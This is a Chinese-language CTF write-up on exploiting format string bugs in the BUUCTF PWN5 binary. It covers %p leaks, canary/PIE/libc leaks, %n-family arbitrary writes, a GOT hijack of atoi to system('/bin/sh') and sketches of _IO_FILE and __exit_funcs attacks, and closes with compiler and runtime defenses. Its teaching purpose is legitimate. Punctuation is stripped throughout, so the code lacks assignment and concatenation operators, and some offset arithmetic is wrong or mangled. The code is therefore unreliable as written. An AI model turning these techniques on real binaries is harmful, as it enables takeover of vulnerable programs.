)
格式化字符串漏洞的多元利用艺术从PWN5看CTF攻防进阶在CTF竞赛和二进制安全研究中格式化字符串漏洞Format String Vulnerability始终占据着特殊地位。这种源于程序员对用户输入数据缺乏验证的漏洞看似简单却蕴含着惊人的利用潜力。本文将以BUUCTF平台上的PWN5题目为切入点系统性地探讨格式化字符串漏洞在实战中的多种利用范式帮助安全研究人员建立更全面的漏洞利用思维框架。1. 格式化字符串漏洞的核心原理回顾格式化字符串漏洞的本质在于程序将用户输入直接作为printf等格式化函数的第一个参数。当攻击者能够控制格式化字符串时便获得了读写内存的上帝之手。这种能力源于格式化符号如%x、%s、%n等的特殊处理机制// 漏洞代码示例 char user_input[100]; read(0, user_input, sizeof(user_input)); printf(user_input); // 危险用户控制格式化字符串在32位系统中格式化函数的参数通过栈传递而在64位系统中前六个参数通过寄存器传递之后的参数仍使用栈。这种差异直接影响着漏洞利用时偏移量的计算方式。关键格式化符号解析格式化符号功能描述利用价值%x以十六进制输出栈上数据信息泄露%s输出指针指向的字符串任意地址读%n将已输出字符数写入指定地址任意地址写%c输出字符控制输出长度%p输出指针地址地址泄露在PWN5这道题目中漏洞点出现在以下代码段printf(your name:); read(0, buf, 0x63u); printf(Hello,); printf(buf); // 格式化字符串漏洞点通过精心构造输入数据攻击者可以利用这个漏洞点实现从信息泄露到任意代码执行的多层次攻击。2. 信息泄露格式化字符串的侦察兵作用在漏洞利用的初期阶段信息泄露往往是打开突破口的关键。格式化字符串漏洞提供了多种信息泄露方式每种方式对应不同的应用场景。2.1 栈数据泄露与偏移计算最基本的利用方式是使用%x或%p泄露栈上数据。在PWN5中通过输入AAAA-%p-%p-%p-%p-%p可以快速确定格式化字符串的偏移位置Hello,AAAA-0x41-0xf7fb45c0-0x8048526-0x1-0xfff4b8f4观察到0x41字母A的ASCII码出现在第一个%p输出位置说明偏移量为164位系统通常从6开始。准确计算偏移是后续利用的基础。2.2 关键防护机制绕过现代二进制程序通常配备多种防护机制格式化字符串可以帮助我们绕过这些防护Canary泄露payload b%23$p # 假设canary位于第23个参数位置 p.sendline(payload) canary int(p.recvline(), 16)PIE绕过 通过泄露程序代码段地址可以计算出基址从而绕过地址随机化payload b%15$p # 泄露函数返回地址 p.sendline(payload) text_leak int(p.recvline(), 16) base_addr text_leak - 0x1234 # 根据泄露值调整偏移Libc地址泄露 通过泄露GOT表中的函数地址可以计算出libc基址payload b%9$sp32(printf_got) # 读取printf的实际地址 p.sendline(payload) printf_addr u32(p.recv(4)) libc_base printf_addr - libc.sym[printf]在PWN5中虽然开启了Canary和NX保护但部分RELRO意味着我们可以修改GOT表这为后续利用提供了多种可能性。3. 任意地址写格式化字符串的精准打击能力%n格式化符赋予了格式化字符串漏洞任意地址写的能力这是实现最终攻击的关键。根据不同的利用场景我们可以采用多种写入策略。3.1 直接修改关键变量PWN5的最直观解法就是修改dword_804C044变量的值使其与后续输入的密码匹配。这种方法的payload构造相对简单bss_addr 0x804C044 payload p32(bss_addr) b%10$n # 将已输出字节数(4)写入bss_addr p.sendline(payload) p.sendline(b4) # 匹配修改后的值更精细的控制可以通过组合使用%hn2字节写和%hhn1字节写来实现payload (p32(bss_addr) p32(bss_addr1) b%250c%10$hhn%50c%11$hhn) # 写入0x01fa (250503000x12c)3.2 GOT表劫持技术修改GOT表是格式化字符串漏洞利用的经典手法。在PWN5中我们可以将atoi的GOT项改为system的PLT地址atoi_got elf.got[atoi] system_plt elf.plt[system] payload fmtstr_payload(10, {atoi_got: system_plt}) p.sendline(payload) p.sendline(b/bin/sh\x00) # 触发atoi即调用system(/bin/sh)这种方法的关键优势在于不需要知道libc基址只需利用程序自身的PLT表即可。3.3 高阶写入技巧对于更复杂的情况我们可以采用分层写入策略多阶段写入先写入地址低位再写入高位栈迁移技术通过修改栈指针控制程序流链式写入利用已写入的地址作为下一步写入的基础例如构造ROP链时可能需要多次写入# 假设需要将0x08049234写入0x804c100 payload (p32(0x804c100) p32(0x804c102) b%4916c%10$hn%8738c%11$hn) # 4916 0x1334 - 8, 8738 0x3492 - 0x13344. 非常规利用路径突破思维定式除了上述常规方法格式化字符串漏洞还有一些鲜为人知但极具威力的利用方式。4.1 _IO_FILE结构体利用通过覆盖_IO_FILE结构体中的虚表指针可以在程序执行文件操作时劫持控制流。这种方法在特定条件下可以绕过某些防护机制# 修改stdout的_IO_FILE结构体 payload fmtstr_payload(10, {stdout_vtable: crafted_vtable})4.2 exit函数链表劫持程序在退出时会调用通过__exit_funcs注册的函数我们可以通过格式化字符串修改这些函数指针exit_funcs elf.sym[__exit_funcs] payload fmtstr_payload(10, {exit_funcs: shellcode_addr})4.3 动态链接器利用在某些情况下我们可以通过修改动态链接器相关的数据结构如_dl_runtime_resolve来实现更隐蔽的攻击# 修改重定位相关结构 payload fmtstr_payload(10, {reloc_offset: crafted_info})5. 防御与检测构建安全防线了解攻击手段的同时我们也需要掌握相应的防御措施编译期防护启用FORTIFY_SOURCE检测格式化字符串滥用设置RELRO级别为Full防止GOT表修改使用-Wformat-security编译选项运行时防护部署Stack Canary检测栈破坏启用ASLR增加地址预测难度使用现代内存防护技术如CET代码审计要点检查所有格式化函数的使用是否安全验证用户输入是否直接作为格式化字符串使用静态分析工具扫描潜在漏洞在开发实践中安全的格式化函数使用方式应该是// 安全用法 printf(%s, user_input); // 或者 syslog(LOG_INFO, %s, user_input);格式化字符串漏洞的利用艺术远不止于简单的GOT表覆盖。从信息收集到精准打击从常规路径到非常规突破安全研究者需要建立多维度的利用思维。PWN5作为一道经典题目恰好为我们提供了演练这些技术的绝佳平台。在实际漏洞研究中往往需要根据具体防护措施和程序特性灵活组合多种技术才能实现最终的攻击目标。